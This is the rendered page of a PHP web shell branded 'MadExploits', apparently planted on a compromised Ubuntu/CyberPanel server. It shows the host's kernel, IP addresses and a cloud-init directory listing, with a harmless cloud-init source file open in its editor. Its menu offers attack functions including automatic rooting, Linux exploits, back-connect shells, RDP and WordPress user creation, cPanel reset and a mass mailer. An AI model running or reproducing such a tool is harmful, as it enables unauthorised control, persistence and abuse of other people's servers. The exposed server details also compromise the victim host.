Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
cloudinit /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
analyze
[ DIR ]
drwxr-xr-x
cmd
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
distros
[ DIR ]
drwxr-xr-x
filters
[ DIR ]
drwxr-xr-x
handlers
[ DIR ]
drwxr-xr-x
log
[ DIR ]
drwxr-xr-x
mergers
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
reporting
[ DIR ]
drwxr-xr-x
sources
[ DIR ]
drwxr-xr-x
__init__.py
0
B
-rw-r--r--
apport.py
8.3
KB
-rw-r--r--
atomic_helper.py
2.79
KB
-rw-r--r--
cloud.py
3.22
KB
-rw-r--r--
dmi.py
7.81
KB
-rw-r--r--
event.py
2
KB
-rw-r--r--
features.py
5.28
KB
-rw-r--r--
gpg.py
7.99
KB
-rw-r--r--
helpers.py
16.16
KB
-rw-r--r--
importer.py
2.43
KB
-rw-r--r--
lifecycle.py
7.79
KB
-rw-r--r--
netinfo.py
24.07
KB
-rw-r--r--
performance.py
3.1
KB
-rw-r--r--
persistence.py
2.52
KB
-rw-r--r--
registry.py
1022
B
-rw-r--r--
safeyaml.py
10.11
KB
-rw-r--r--
settings.py
2.12
KB
-rw-r--r--
signal_handler.py
3.92
KB
-rw-r--r--
simpletable.py
1.93
KB
-rw-r--r--
socket.py
5.93
KB
-rw-r--r--
ssh_util.py
22.21
KB
-rw-r--r--
stages.py
41.53
KB
-rw-r--r--
subp.py
12.43
KB
-rw-r--r--
temp_utils.py
2.94
KB
-rw-r--r--
templater.py
7.74
KB
-rw-r--r--
type_utils.py
703
B
-rw-r--r--
url_helper.py
38.15
KB
-rw-r--r--
user_data.py
14.44
KB
-rw-r--r--
util.py
90.38
KB
-rw-r--r--
version.py
568
B
-rw-r--r--
warnings.py
3.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : atomic_helper.py
# This file is part of cloud-init. See LICENSE file for license information. import json import logging import os import stat import tempfile from base64 import b64decode, b64encode from cloudinit import performance, util _DEF_PERMS = 0o644 LOG = logging.getLogger(__name__) @performance.timed("Base64 decoding") def b64d(source): """base64 decode data :param source: a bytes or str to decode :return: base64 as a decoded str if utf-8 encoded, otherwise bytes """ decoded = b64decode(source) try: return decoded.decode("utf-8") except UnicodeDecodeError: return decoded @performance.timed("Base64 encoding") def b64e(source): """base64 encode data :param source: a bytes or str to decode :return: base64 encoded str """ if not isinstance(source, bytes): source = source.encode("utf-8") return b64encode(source).decode("utf-8") def write_file( filename, content, mode=_DEF_PERMS, omode="wb", preserve_mode=False ): """open filename in mode omode, write content, set permissions to mode""" with performance.Timed(f"Writing {filename}"): return _write_file(filename, content, mode, omode, preserve_mode) def _write_file( filename, content, mode=_DEF_PERMS, omode="wb", preserve_mode=False ): if preserve_mode: try: file_stat = os.stat(filename) mode = stat.S_IMODE(file_stat.st_mode) except OSError: pass tf = None try: dirname = os.path.dirname(filename) util.ensure_dir(dirname) tf = tempfile.NamedTemporaryFile(dir=dirname, delete=False, mode=omode) LOG.debug( "Atomically writing to file %s (via temporary file %s) - %s: [%o]" " %d bytes/chars", filename, tf.name, omode, mode, len(content), ) tf.write(content) tf.close() os.chmod(tf.name, mode) os.rename(tf.name, filename) except Exception as e: if tf is not None: os.unlink(tf.name) raise e def json_serialize_default(_obj): """Handler for types which aren't json serializable.""" try: return "ci-b64:{0}".format(b64e(_obj)) except AttributeError: return "Warning: redacted unserializable type {0}".format(type(_obj)) @performance.timed("Dumping json") def json_dumps(data): """Return data in nicely formatted json.""" return json.dumps( data, indent=1, sort_keys=True, separators=(",", ": "), default=json_serialize_default, ) def write_json(filename, data, mode=_DEF_PERMS): # dump json representation of data to file filename. return write_file( filename, json_dumps(data) + "\n", omode="w", mode=mode, )
Close